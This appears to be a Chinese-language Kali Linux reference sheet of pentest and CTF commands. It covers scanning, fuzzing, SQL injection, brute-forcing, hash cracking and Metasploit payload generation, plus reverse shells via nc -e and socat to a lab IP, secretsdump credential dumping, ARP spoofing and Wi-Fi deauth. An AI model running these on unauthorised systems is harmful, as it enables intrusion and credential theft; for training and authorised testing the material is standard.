kali渗透测试与CTF常用命令大全

kali渗透测试与CTF常用命令大全

nmap端口扫描与服务识别

所属分类：信息收集 / VoIP / 漏洞分析 / Web

常用命令

nmap -sC -sV -Pn -p- 192.168.56.106
nmap -sU --top-ports 100 192.168.56.106

常用参数

-p 22,80,443            # 指定端口
-p-                     # 扫描全部端口
--top-ports 100         # 扫描常见端口
-Pn                     # 跳过主机发现
-sC                     # 默认脚本扫描
-sV                     # 服务版本识别
-sS                     # TCP SYN扫描
-sT                     # TCP全连接扫描
-sU                     # UDP扫描
-O                      # 操作系统识别
-A                      # 综合扫描
--script vuln           # 漏洞脚本扫描
--script=http-*         # HTTP相关脚本
--open                  # 只显示开放端口
-n                      # 不做DNS解析
-v / -vv                # 详细输出
-T4                     # 加快速度
--min-rate 1000         # 提高最小发包速率
-oN result.txt          # 普通文本输出
-oX result.xml          # XML输出
-oA scan                # 同时输出多种格式

Zenmap图形化Nmap前端

所属分类：信息收集

常用命令

zenmap
zenmap -h

常用参数

图形界面工具                  # Nmap图形化前端

WhatWeb网站指纹识别

所属分类：Web

常用命令

whatweb http://192.168.56.106
whatweb -a 3 -v http://192.168.56.106

常用参数

-a 1|2|3                 # 识别强度
-v                       # 详细输出
--log-verbose=out.txt    # 保存详细结果
--color=never            # 关闭颜色
--user-agent UA          # 自定义UA
--proxy http://127.0.0.1:8080  # 代理
--follow-redirect=never|always  # 是否跟随跳转

curlHTTP请求与调试

所属分类：CTF常用补充

常用命令

curl -i http://192.168.56.106
curl -X POST -d 'username=admin&password=admin' http://192.168.56.106/login
curl -k -H 'Host: admin.target.local' https://192.168.56.106/

常用参数

-i                       # 显示响应头
-s                       # 静默模式
-k                       # 忽略TLS证书
-L                       # 跟随跳转
-X POST                  # 指定请求方法
-d 'a=b'                 # POST数据
-G                       # 将 -d 数据拼到URL查询串
-H 'Header: value'       # 自定义头
-b cookie.txt            # 读取Cookie
-c cookie.txt            # 保存Cookie
-u user:pass             # Basic认证
-A 'Mozilla/5.0'         # 自定义UA
-x http://127.0.0.1:8080 # 代理
-o out.html              # 保存响应体
--path-as-is             # 保持原始路径
--data-urlencode 'a=b'   # URL编码后提交

wget下载与镜像

所属分类：CTF常用补充

常用命令

wget http://192.168.56.106/file.txt
wget -r -np -k http://192.168.56.106/

常用参数

-O out.txt               # 指定输出文件
-c                       # 断点续传
-r                       # 递归下载
-np                      # 不追踪上级目录
-k                       # 转换本地链接
--mirror                 # 镜像站点
--no-check-certificate   # 忽略证书错误
--user=user --password=pass  # 认证
-e robots=off            # 忽略robots.txt
-q                       # 安静模式

ffuf模糊测试与目录扫描

所属分类：CTF常用补充

常用命令

ffuf -u http://192.168.56.106/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fc 404
ffuf -u http://192.168.56.106/login -X POST -d 'username=admin&password=FUZZ' -w /usr/share/wordlists/rockyou.txt -fs 0
ffuf -u http://FUZZ.target.local -H 'Host: FUZZ.target.local' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0

常用参数

-u http://target/FUZZ          # FUZZ位置
-w wordlist.txt                # 字典
-X POST                        # POST请求
-d 'username=admin&password=FUZZ'  # POST数据
-H 'Host: FUZZ.target.com'     # Host模糊测试/子域枚举
-H 'X-Forwarded-For: FUZZ'     # Header模糊测试
-mc 200,204,301,302,403        # 匹配状态码
-fc 404                        # 过滤状态码
-fs 1234                       # 过滤响应大小
-fl 10                         # 过滤响应行数
-fw 50                         # 过滤响应单词数
-ac                            # 自动校准
-t 50                          # 线程数
-recursion                     # 递归扫描
-recursion-depth 2             # 递归深度
-rate 100                      # 限速
-p 0.1                         # 请求延迟
-x http://127.0.0.1:8080       # 代理
-o output.json                 # 输出文件
-of json                       # 输出格式

wfuzz参数模糊测试与目录爆破

所属分类：模糊测试 / Web

常用命令

wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 http://192.168.56.106/FUZZ
wfuzz -c -z file,/usr/share/wordlists/rockyou.txt -d 'username=admin&password=FUZZ' --hs 'invalid' http://192.168.56.106/login

常用参数

-z file,wordlist.txt           # 指定payload字典
-u http://target/FUZZ          # FUZZ位置
-d 'a=1&b=FUZZ'                # POST数据
-H 'Header: FUZZ'              # 自定义头模糊测试
--sc 200                       # 只显示状态码
--hc 404                       # 隐藏状态码
--ss 'welcome'                 # 显示包含指定字符串的响应
--hs 'invalid'                 # 隐藏包含指定字符串的响应
--hl 10                        # 隐藏指定行数响应
--hw 20                        # 隐藏指定单词数响应
--hh 1234                      # 隐藏指定字节数响应
-c                             # 彩色输出
-t 50                          # 线程数
-p 127.0.0.1:8080:HTTP         # 代理
--basic user:pass              # Basic认证

gobuster目录与虚拟主机扫描

所属分类：CTF常用补充

常用命令

gobuster dir -u http://192.168.56.106 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -b 404
gobuster vhost -u http://192.168.56.106 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
gobuster dns -d target.local -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

常用参数

dir                      # 目录模式
vhost                    # 虚拟主机模式
dns                      # DNS模式
-u http://target.com     # 目标URL
-w wordlist.txt          # 字典
-x php,txt,html,zip      # 扩展名
-t 50                    # 线程数
-k                       # 忽略TLS证书错误
-b 403,404               # 忽略状态码
-s 200,204,301,302,403   # 仅显示指定状态码
--wildcard               # 处理泛解析/泛响应
--append-domain          # 自动拼接域名
-o output.txt            # 输出文件
-H 'Host: test.local'    # 自定义Host头

feroxbuster目录递归扫描

所属分类：CTF常用补充

常用命令

feroxbuster -u http://192.168.56.106 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt,html -k
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --depth 2 --extract-links

常用参数

-u http://target.com           # 目标URL
-w wordlist.txt                # 字典
-x php,html,txt,zip            # 扩展名
-k                             # 忽略TLS证书错误
-t 50                          # 线程数
--depth 2                      # 递归深度
--extract-links                # 提取页面链接
--filter-status 404            # 过滤状态码
--filter-size 1234             # 过滤响应大小
--scan-limit 10                # 并发扫描限制
--rate-limit 50                # 请求速率限制
--proxy http://127.0.0.1:8080  # 代理
-H 'Header: value'             # 自定义头
-C cookie=value                # 自定义Cookie
-o output.txt                  # 输出文件

DIRB目录扫描

所属分类：Web

常用命令

dirb http://192.168.56.106 /usr/share/wordlists/dirb/common.txt
dirb http://192.168.56.106 /usr/share/wordlists/dirb/common.txt -X .php,.txt,.zip

常用参数

-X .php,.txt,.zip        # 扩展名
-N 404                   # 忽略状态码
-a 'Mozilla/5.0'         # 自定义UA
-c cookie=value          # 自定义Cookie
-H 'Header: value'       # 自定义请求头
-p http://127.0.0.1:8080 # 代理
-r                       # 不递归
-S                       # 静默模式
-o output.txt            # 输出文件

DirBuster目录扫描

所属分类：Web

常用命令

dirbuster
java -jar /usr/share/dirbuster/DirBuster.jar

常用参数

图形界面工具                  # 设置URL、字典、线程

Burp Suite代理与重放

所属分类：Web

常用命令

burpsuite
java -jar burpsuite.jar

常用参数

Proxy                    # 代理抓包
Repeater                 # 重放改包
Intruder                 # 爆破/批量测试
Decoder                  # 编解码
Comparer                 # 请求响应对比
Extender                 # 插件管理
Logger / HTTP history    # 历史流量查看
默认代理 127.0.0.1:8080  # 浏览器代理
Project options          # 证书/超时/重定向
Target scope             # 设置站点范围

sqlmapSQL注入测试

所属分类：数据库 / 利用 / Web

常用命令

sqlmap -u 'http://192.168.56.106/item.php?id=1' --batch --dbs
sqlmap -r request.txt --batch --dump

常用参数

-u URL                   # 指定目标URL
-r request.txt           # 从Burp请求文件读取
-p id                    # 指定测试参数
--data='a=1&b=2'         # POST数据
--cookie='k=v'           # 自定义Cookie
--batch                  # 自动确认
--dbs                    # 列数据库
--tables                 # 列表
--columns                # 列字段
--dump                   # 导出数据
--current-user           # 当前数据库用户
--current-db             # 当前数据库名
--risk 3 --level 5       # 提高测试强度
--threads 10             # 线程数
--random-agent           # 随机UA
--proxy=http://127.0.0.1:8080  # 代理
--tamper=space2comment   # 使用tamper脚本
--forms                  # 自动解析表单
--os-shell               # 尝试获取系统shell
--flush-session          # 清除缓存重测

Nikto Web漏洞扫描

所属分类：漏洞分析 / Web

常用命令

nikto -h http://192.168.56.106
nikto -h http://192.168.56.106 -o report.html -Format html

常用参数

-h URL                   # 目标
-p 80,443                # 指定端口
-ssl                     # 强制HTTPS
-Tuning x                # 指定测试类别
-id user:pass            # Basic认证
-useproxy http://127.0.0.1:8080  # 代理
-nointeractive           # 非交互模式
-Format html|txt|csv     # 输出格式
-o report.html           # 输出文件
-Display V               # 详细显示

WPScan WordPress扫描

所属分类：Web

常用命令

wpscan --url http://192.168.56.106 --enumerate u,p,t
wpscan --url http://192.168.56.106 --api-token YOUR_TOKEN

常用参数

--url URL                # 目标URL
--enumerate u,p,t,tt     # 枚举用户/插件/主题/主题版本
--api-token YOUR_TOKEN   # 漏洞数据库API
--plugins-detection mixed # 插件检测方式
--random-user-agent      # 随机UA
--disable-tls-checks     # 忽略TLS问题
--proxy http://127.0.0.1:8080  # 代理
--usernames admin        # 指定用户名
--passwords rockyou.txt  # 密码字典
--force                  # 强制扫描非典型站点
--rua                    # 随机UA简写

blue-hydra图形化工具

所属分类：Bluetooth蓝牙

常用命令

blue-hydra

常用参数

--help                   # 查看帮助
图形/交互式工具                  # 以启动后菜单/界面为主

Hydra多协议爆破

所属分类：密码攻击 / Web

常用命令

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.106
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.106 http-post-form '/login:username=^USER^&password=^PASS^:F=invalid'

常用参数

-l admin                  # 单用户名
-L users.txt              # 用户名字典
-p 123456                 # 单密码
-P rockyou.txt            # 密码字典
-s 22                     # 指定端口
-t 16                     # 线程数
-f                        # 成功后停止
-V                        # 详细输出
-I                        # 忽略恢复文件
-u                        # 先变换用户再变换密码
-o hydra.txt              # 输出文件
http-get-form             # HTTP GET表单模式
http-post-form            # HTTP POST表单模式
ssh://host                # SSH目标写法
ftp://host                # FTP目标写法

John the Ripper密码破解

所属分类：密码攻击

常用命令

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt

常用参数

--wordlist=file          # 字典模式
--format=raw-md5         # 指定哈希格式
--rules                  # 启用规则变形
--incremental            # 增量爆破
--fork=4                 # 多进程
--session=name           # 保存会话名
--restore=name           # 恢复会话
--show                   # 显示结果
--single                 # 单词变形模式
--stdout                 # 仅输出候选口令

hashcatGPU密码破解

所属分类：802.11无线攻击 / 密码攻击

常用命令

hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 3 hash.txt ?a?a?a?a?a?a

常用参数

-m 0                     # 哈希模式，例如 MD5
-m 1000                  # NTLM模式
-a 0                     # 字典攻击
-a 3                     # 掩码攻击
-a 6 / -a 7              # 混合攻击
-o found.txt             # 输出文件
--outfile-format 2       # 输出格式
-r rules/best64.rule     # 规则文件
--username               # 哈希前带用户名
--show                   # 显示结果
--restore                # 恢复会话
--session crack1         # 会话名
-O                       # 优化内核
-w 3                     # 工作负载
--force                  # 强制运行

hashcat-utils字典处理

所属分类：密码攻击

常用命令

cutb -f 1 wordlist.txt > left.txt
combinator.bin left.txt right.txt > combo.txt

常用参数

组合、切分、掩码辅助工具            # 与hashcat联动使用

crunch自定义密码字典生成

所属分类：密码攻击

常用命令

crunch 6 6 0123456789 -o digits6.txt
crunch 4 4 abc123 -t @@%% -o custom.txt

常用参数

6 8                      # 最小/最大长度
-t pass@@@               # 指定掩码模板
-o wordlist.txt          # 输出文件
-f charset.lst mixalpha  # 使用字符集配置
-d 2@                    # 限制重复字符
-s abc123                # 起始字符串
-e zzz999                # 结束字符串
-p a b c                 # 排列模式
-q file.txt              # 从文件排列
-z gzip                  # 压缩输出

cewl网页爬取生成字典

所属分类：密码攻击

常用命令

cewl http://192.168.56.106 -w words.txt
cewl -d 2 -m 5 http://192.168.56.106 -w words.txt

常用参数

-d 2                     # 爬取深度
-m 5                     # 最小单词长度
-w words.txt             # 输出文件
-e                       # 提取邮箱
--email_file emails.txt  # 邮箱输出
-a                       # 包含元信息
-v                       # 详细输出
-u user -p pass          # Basic认证
--with-numbers           # 包含数字词
--offsite                # 跟随站外链接

searchsploit漏洞库查询

所属分类：CTF常用补充

常用命令

searchsploit smb 4.10
searchsploit -m 48537

常用参数

-t                       # 仅搜索标题
-p                       # 显示本地Exploit-DB路径
-m ID                    # 复制PoC到当前目录
-x ID                    # 查看PoC内容
--nmap scan.xml          # 导入Nmap结果
-j / --json              # JSON输出
-u                       # 更新数据库
-w                       # 输出Web链接

metasploit-framework漏洞利用框架

所属分类：利用 / 逆向

常用命令

msfconsole
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o shell.elf

常用参数

msfconsole                # 启动框架
search smb               # 搜索模块
use exploit/...          # 选择模块
show options             # 查看参数
set RHOSTS 192.168.56.106 # 设置目标
set LHOST 192.168.56.1    # 设置回连地址
set PAYLOAD ...           # 设置载荷
check                     # 漏洞检查
run / exploit             # 运行模块
sessions -i 1             # 进入会话
background                # 会话后台
-p payload                # msfvenom载荷
-f exe|elf|raw            # msfvenom输出格式
-o shell.exe              # 输出文件

msfpc快速生成Metasploit木马

所属分类：利用 / 社工

常用命令

msfpc windows 192.168.56.1 4444
msfpc linux 192.168.56.1 4444 elf

常用参数

LPORT                    # 回连端口
windows|linux|android    # 目标平台
LHOST                    # 回连地址
elf|exe|apk              # 输出格式

responderLLMNR/NBNS欺骗

所属分类：嗅探欺骗

常用命令

responder -I eth0
responder -I eth0 -dwv

常用参数

-I eth0                  # 指定网卡
-w                       # 启用WPAD
-d                       # DHCP相关响应
-v                       # 详细输出
-A                       # 分析模式，不投毒
-F                       # 指纹识别
-r                       # 启用NBT-NS响应
-f                       # 强制某些服务开启

bettercap中间人与网络劫持

所属分类：嗅探欺骗

常用命令

bettercap -iface eth0
bettercap -caplet http-ui

常用参数

-iface eth0              # 指定网卡
-caplet file             # 载入caplet
-eval 'help'             # 启动时执行命令
net.probe on             # 主机探测
set arp.spoof.targets ... # 设置ARP目标
arp.spoof on             # ARP欺骗
net.sniff on             # 抓包
http.proxy on            # HTTP代理
http-ui                  # 启动Web UI caplet
help                     # 查看命令

tcpdump抓包

所属分类：取证

常用命令

tcpdump -i eth0 -nn
tcpdump -i eth0 host 192.168.56.106 and port 80 -w capture.pcap
tcpdump -i eth0 -nn -A 'tcp port 80'

常用参数

-i eth0                  # 指定网卡
-nn                      # 不解析主机名和端口名
-s 0                     # 抓完整数据包
-c 100                   # 抓指定数量后停止
-A                       # 以ASCII显示载荷
-X                       # 以HEX+ASCII显示
-r capture.pcap          # 读取pcap
-w capture.pcap          # 保存为pcap
host 1.1.1.1             # 按主机过滤
net 192.168.56.0/24      # 按网段过滤
port 80                  # 按端口过滤
tcp / udp / icmp         # 按协议过滤

wireshark图形化抓包分析

所属分类：取证 / 嗅探欺骗 / VoIP / Web

常用命令

wireshark
tshark -i eth0 -Y http

常用参数

-i eth0                  # 指定接口启动抓包
-k                       # 立即开始抓包
-r capture.pcap          # 打开pcap文件
-Y 'http'                # 显示过滤器
Capture Options          # 抓包接口/长度/环形缓冲
Follow TCP Stream        # 跟踪会话流
Statistics               # 协议/会话统计
Export Objects           # 导出HTTP/SMB对象

smbclient访问SMB共享

所属分类：CTF常用补充

常用命令

smbclient -L //192.168.56.106 -N
smbclient //192.168.56.106/share -U user

常用参数

-L //host                # 列出共享
-U user                  # 指定用户名
-N                       # 空密码/匿名
-c 'ls'                  # 直接执行命令
-p 445                   # 指定端口
-m SMB3                  # 指定协议版本
-W WORKGROUP             # 指定域/工作组
//host/share             # 连接共享路径
命令: ls/get/put/mget/mput  # 交互常用命令

enum4linuxSMB信息枚举

所属分类：信息收集

常用命令

enum4linux -a 192.168.56.106
enum4linux -U -S -P 192.168.56.106

常用参数

-a                       # 全量枚举
-U                       # 用户枚举
-S                       # 共享枚举
-P                       # 策略枚举
-G                       # 组枚举
-o                       # OS信息
-r                       # RID循环枚举
-u user -p pass          # 指定凭据
-v                       # 详细输出

rpcclientRPC枚举

所属分类：CTF常用补充

常用命令

rpcclient -U '' -N 192.168.56.106
rpcclient -U user%pass 192.168.56.106

常用参数

-U user%pass             # 指定用户凭据
-N                       # 空密码
-c 'enumdomusers'        # 执行单条RPC命令
-W DOMAIN                # 指定域
-c 'srvinfo'             # 服务器信息
enumdomusers             # 枚举域用户
enumdomgroups            # 枚举域组
queryuser RID            # 查询用户
lookupnames name         # 名称转SID
netshareenum             # 枚举共享

impacket-scripts远程执行与协议利用

所属分类：应急响应

常用命令

psexec.py user:pass@192.168.56.106
secretsdump.py -just-dc user:pass@192.168.56.106

常用参数

psexec.py                # SMB远程执行
wmiexec.py               # WMI远程执行
smbexec.py               # SMB半交互执行
secretsdump.py           # 导出hash/LSA/NTDS
GetUserSPNs.py           # Kerberoasting
lookupsid.py             # SID枚举
-hashes LM:NT            # 传入NTLM哈希
-no-pass                 # 不提示密码
-k                       # Kerberos认证
-dc-ip 192.168.56.10     # 指定域控
-just-dc                 # 仅导出域控核心数据

ssh远程登录与端口转发

所属分类：CTF常用补充

常用命令

ssh user@192.168.56.106
ssh -L 8080:127.0.0.1:80 user@192.168.56.106
ssh -D 1080 -N user@192.168.56.106

常用参数

-i id_rsa                # 私钥
-p 2222                  # 指定端口
-L 8080:127.0.0.1:80     # 本地端口转发
-R 8080:127.0.0.1:80     # 远程端口转发
-D 1080                  # SOCKS代理
-N                       # 不执行远程命令
-f                       # 后台运行
-o StrictHostKeyChecking=no  # 跳过首次确认
-J jump@host             # 跳板机
-A                       # 转发ssh-agent

tftpd32资源包与常用路径

所属分类：Windows资源

常用命令

ls /usr/share/windows-resources
find /usr/share/windows-resources -type f | head

常用参数

/usr/share/windows-resources                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

ftp文件传输与匿名检查

所属分类：CTF常用补充

常用命令

ftp 192.168.56.106
lftp -u anonymous,anonymous 192.168.56.106

常用参数

-p 21                    # 指定端口
user anonymous           # 匿名登录
ls / dir                 # 列目录
get file                 # 下载文件
put file                 # 上传文件
mget *.txt               # 批量下载
binary / ascii           # 传输模式
passive                  # 被动模式
prompt                   # 批量传输时取消确认

ncNetcat连接与反弹

所属分类：CTF常用补充

常用命令

nc -lvnp 4444
nc 192.168.56.1 4444 -e /bin/bash
nc -zv 192.168.56.106 1-1000

常用参数

-l                       # 监听模式
-v                       # 详细输出
-n                       # 不做DNS解析
-p 4444                  # 指定端口
-e /bin/bash             # 执行程序
-u                       # UDP模式
-k                       # 保持监听
-w 3                     # 超时
-z                       # 仅扫描不发送数据

ncat增强版Netcat

所属分类：信息收集

常用命令

ncat -lvnp 4444
ncat --ssl 192.168.56.106 443

常用参数

-l                       # 监听模式
-v                       # 详细输出
-n                       # 不做DNS解析
-p 4444                  # 指定端口
--ssl                    # SSL/TLS模式
--sh-exec 'bash -li'     # 执行shell
--proxy 127.0.0.1:8080   # 代理
--proxy-type http|socks4|socks5  # 代理类型
-u                       # UDP模式
-k                       # 保持监听

ncat-w32资源包与常用路径

所属分类：Windows资源

常用命令

ls /usr/share/windows-resources
find /usr/share/windows-resources -type f | head

常用参数

/usr/share/windows-resources                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

netcat-traditional传统nc

所属分类：CTF常用补充

常用命令

nc.traditional -lvnp 4444
nc.traditional 192.168.56.1 4444 -e /bin/sh

常用参数

-e /bin/sh               # 传统版本常见用法

socat高级端口转发与反弹

所属分类：CTF常用补充

常用命令

socat TCP-LISTEN:4444,reuseaddr,fork TCP:192.168.56.106:80
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.56.1:4444

常用参数

TCP-LISTEN:4444          # TCP监听
UDP-LISTEN:4444          # UDP监听
TCP:host:port            # TCP连接
EXEC:'bash -li'          # 执行程序
FILE:/tmp/fifo           # 文件/管道
pty                      # 分配伪终端
fork                     # 多连接
reuseaddr                # 复用地址
stderr                   # 重定向标准错误
setsid                   # 新会话
sigint                   # 处理 Ctrl+C
sane                     # 修复终端
SOCKS4A:127.0.0.1:host:port,socksport=9050  # 走SOCKS代理

onesixtyoneSNMP团体字爆破

所属分类：信息收集 / 密码攻击

常用命令

onesixtyone 192.168.56.106 -c /usr/share/doc/onesixtyone/dict.txt
onesixtyone -i hosts.txt -c community.txt

常用参数

-c community.txt         # 团体字典
-i targets.txt           # 目标列表
-p 161                   # 指定端口
-w 10                    # 超时
-d                       # 调试输出
-o result.txt            # 输出结果

aircrack-ng无线抓包与破解

所属分类：802.11无线攻击

常用命令

airmon-ng start wlan0
airodump-ng wlan0mon
aircrack-ng capture.cap -w /usr/share/wordlists/rockyou.txt

常用参数

airmon-ng start wlan0      # 开启监听模式
airodump-ng wlan0mon      # 抓包
aireplay-ng -0 5 ...       # 去认证攻击
aircrack-ng capture.cap   # 破解握手包
--bssid XX:XX:XX:XX:XX:XX # 指定AP
-c 6                      # 指定信道
-w rockyou.txt            # 指定字典
--ignore-negative-one     # 驱动兼容问题时使用
--ivs                     # 仅抓IV数据
-0 5                      # 发送5次deauth

airgeddon无线攻击工具常用命令

所属分类：802.11无线攻击

常用命令

airgeddon --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

asleap无线攻击工具常用命令

所属分类：802.11无线攻击

常用命令

asleap --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

bullyWPS爆破

所属分类：802.11无线攻击

常用命令

bully wlan0mon -b 00:11:22:33:44:55
bully wlan0mon -b 00:11:22:33:44:55 -c 6 -v 3

常用参数

-b BSSID                 # 目标AP
-c 6                     # 信道
-e ESSID                 # 指定ESSID
-v 3                     # 详细级别
-p 12345670              # 指定PIN
-d 2                     # 延时
-t 5                     # 超时
--bruteforce             # 暴力尝试PIN

cowpatty无线攻击工具常用命令

所属分类：802.11无线攻击

常用命令

cowpatty --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

eapmd5pass无线攻击工具常用命令

所属分类：802.11无线攻击

常用命令

eapmd5pass --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

fern-wifi-cracker图形化工具

所属分类：802.11无线攻击

常用命令

fern-wifi-cracker

常用参数

--help                   # 查看帮助
图形/交互式工具                  # 以启动后菜单/界面为主

freeradius-wpe无线攻击工具常用命令

所属分类：802.11无线攻击

常用命令

freeradius-wpe --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

hostapd-wpe无线攻击工具常用命令

所属分类：802.11无线攻击

常用命令

hostapd-wpe --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

iw无线攻击工具常用命令

所属分类：802.11无线攻击

常用命令

iw --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

kismet无线探测

所属分类：802.11无线攻击

常用命令

kismet
kismet -c wlan0mon

常用参数

-c wlan0mon              # 指定监听接口
--no-ncurses             # 无终端界面
--daemonize              # 后台运行
--debug                  # 调试输出
Web UI                   # 浏览器查看结果
日志输出                 # 保存抓包与探测日志

macchanger无线攻击工具常用命令

所属分类：802.11无线攻击 / 嗅探欺骗

常用命令

macchanger --help

常用参数

-r                       # 随机MAC
-a                       # 随机同厂商MAC
-p                       # 恢复原MAC
-m 00:11:22:33:44:55     # 指定MAC
-s                       # 查看当前MAC
interface wlan0          # 目标网卡

mdk3无线攻击工具常用命令

所属分类：802.11无线攻击

常用命令

mdk3 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

mdk4无线攻击工具常用命令

所属分类：802.11无线攻击

常用命令

mdk4 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

pixiewps离线WPS破解

所属分类：802.11无线攻击

常用命令

pixiewps -e PKE -r PKR -s E-Hash1 -z E-Hash2 -a AuthKey -n E-Nonce

常用参数

-a AuthKey                # 认证密钥
-e / -r / -s / -z         # 从reaver/bully拿到的参数
-n E-Nonce                # 随机数

reaverWPS爆破

所属分类：802.11无线攻击

常用命令

reaver -i wlan0mon -b 00:11:22:33:44:55 -vv
reaver -i wlan0mon -b 00:11:22:33:44:55 -c 6 -K 1

常用参数

-i wlan0mon               # 无线接口
-b BSSID                  # 目标AP
-c 6                      # 信道
-vv                       # 详细输出
-K 1                      # Pixie Dust模式
-p 12345670               # 指定PIN
-d 2                      # 延时
-t 5                      # 超时
-r 3:15                   # 重试/等待策略
-N                        # 不尝试关联固定设置

wifi-honey无线攻击工具常用命令

所属分类：802.11无线攻击 / 嗅探欺骗

常用命令

wifi-honey --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

wifite自动化无线攻击

所属分类：802.11无线攻击

常用命令

wifite
wifite --wps --dict /usr/share/wordlists/rockyou.txt

常用参数

-i wlan0mon               # 指定接口
--wps                     # 优先WPS攻击
--wep                     # 启用WEP攻击
--pmkid                   # PMKID攻击
--dict rockyou.txt        # 指定字典
--kill                    # 杀掉干扰进程
--skip-crack              # 只抓握手不破解
--handshake               # 只抓握手
--mac                     # 显示目标MAC
--timeout 60              # 超时

bluelog图形化工具

所属分类：Bluetooth蓝牙

常用命令

bluelog

常用参数

--help                   # 查看帮助
图形/交互式工具                  # 以启动后菜单/界面为主

blueranger蓝牙工具常用命令

所属分类：Bluetooth蓝牙

常用命令

blueranger --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

bluesnarfer蓝牙数据窃取

所属分类：Bluetooth蓝牙

常用命令

bluesnarfer -b 00:11:22:33:44:55 -C 1-10

常用参数

-b MAC                    # 目标蓝牙MAC
-C 1-10                   # 读取联系人范围

bluez蓝牙基础工具

所属分类：Bluetooth蓝牙

常用命令

bluetoothctl scan on
hcitool scan

常用参数

hciconfig                 # 查看蓝牙接口
bluetoothctl              # 蓝牙控制台
hcitool scan              # 扫描设备

bluez-hcidump蓝牙工具常用命令

所属分类：Bluetooth蓝牙

常用命令

bluez-hcidump --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

btscanner蓝牙扫描

所属分类：Bluetooth蓝牙

常用命令

btscanner
hcitool scan

常用参数

图形界面/命令行结合             # 扫描蓝牙设备与服务

crackle蓝牙工具常用命令

所属分类：Bluetooth蓝牙 / 密码攻击

常用命令

crackle --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

redfang蓝牙工具常用命令

所属分类：Bluetooth蓝牙

常用命令

redfang --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

spooftooph蓝牙工具常用命令

所属分类：Bluetooth蓝牙

常用命令

spooftooph --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

ubertooth蓝牙工具常用命令

所属分类：Bluetooth蓝牙

常用命令

ubertooth --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

aesfix隐写/密码工具常用命令

所属分类：密码学与隐写

常用命令

aesfix --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

aeskeyfind隐写/密码工具常用命令

所属分类：密码学与隐写

常用命令

aeskeyfind --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

ccrypt隐写/密码工具常用命令

所属分类：密码学与隐写

常用命令

ccrypt --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

steghide图片隐写提取

所属分类：密码学与隐写

常用命令

steghide extract -sf secret.jpg
steghide embed -cf cover.jpg -ef shell.txt -sf out.jpg

常用参数

extract                   # 提取隐藏数据
embed                     # 嵌入数据
-sf secret.jpg            # 隐写文件
-cf cover.jpg             # 载体文件
-ef shell.txt             # 待嵌入文件
-xf out.txt               # 指定提取输出文件
-p password               # 密码
-info file.jpg            # 查看是否可提取

stegosuite图形化隐写

所属分类：密码学与隐写

常用命令

stegosuite
java -jar /usr/share/stegosuite/stegosuite.jar

常用参数

图形界面工具                  # 常用于图片隐写与提取

stegsnow文本空白隐写

所属分类：密码学与隐写

常用命令

stegsnow -C secret.txt
stegsnow -f payload.txt cover.txt out.txt

常用参数

-C secret.txt             # 提取数据
-f payload.txt            # 嵌入数据

jSQLInjection图形化SQL注入

所属分类：数据库 / Web

常用命令

jsql
java -jar /usr/share/jsql-injection/jsql-injection.jar

常用参数

图形界面工具                  # 适合手工SQL注入测试

mdbtools数据库工具常用命令

所属分类：数据库

常用命令

mdbtools --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

oscannerOracle扫描

所属分类：数据库 / Web

常用命令

oscanner -s 192.168.56.106
oscanner -s 192.168.56.106 -P 1521

常用参数

-P 1521                   # 端口
-s host                   # 目标主机

sidguesserOracle SID枚举

所属分类：数据库 / Web

常用命令

sidguesser 192.168.56.106 1521 sid.txt
sidguesser 192.168.56.106 1521

常用参数

host port [dict]          # 目标与SID字典

sqldict数据库工具常用命令

所属分类：数据库 / 密码攻击 / Web

常用命令

sqldict --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

sqlitebrowserSQLite图形查看

所属分类：数据库 / 取证 / Web

常用命令

sqlitebrowser database.db
sqlite3 database.db '.tables'

常用参数

图形界面工具                  # 查看和编辑SQLite数据库

sqlninjaMicrosoft SQL利用

所属分类：数据库 / Web

常用命令

sqlninja -m t -f sqlninja.conf
sqlninja -m b -f sqlninja.conf

常用参数

-f sqlninja.conf          # 配置文件
-m t                      # 测试模式
-m b                      # 暴力/获取shell相关模式
-m s                      # 提升权限/系统级动作
-v                        # 详细输出
--resume                  # 恢复已有会话

sqlsusMySQL注入利用

所属分类：数据库 / Web

常用命令

sqlsus ./sqlsus.conf
sqlsus -s

常用参数

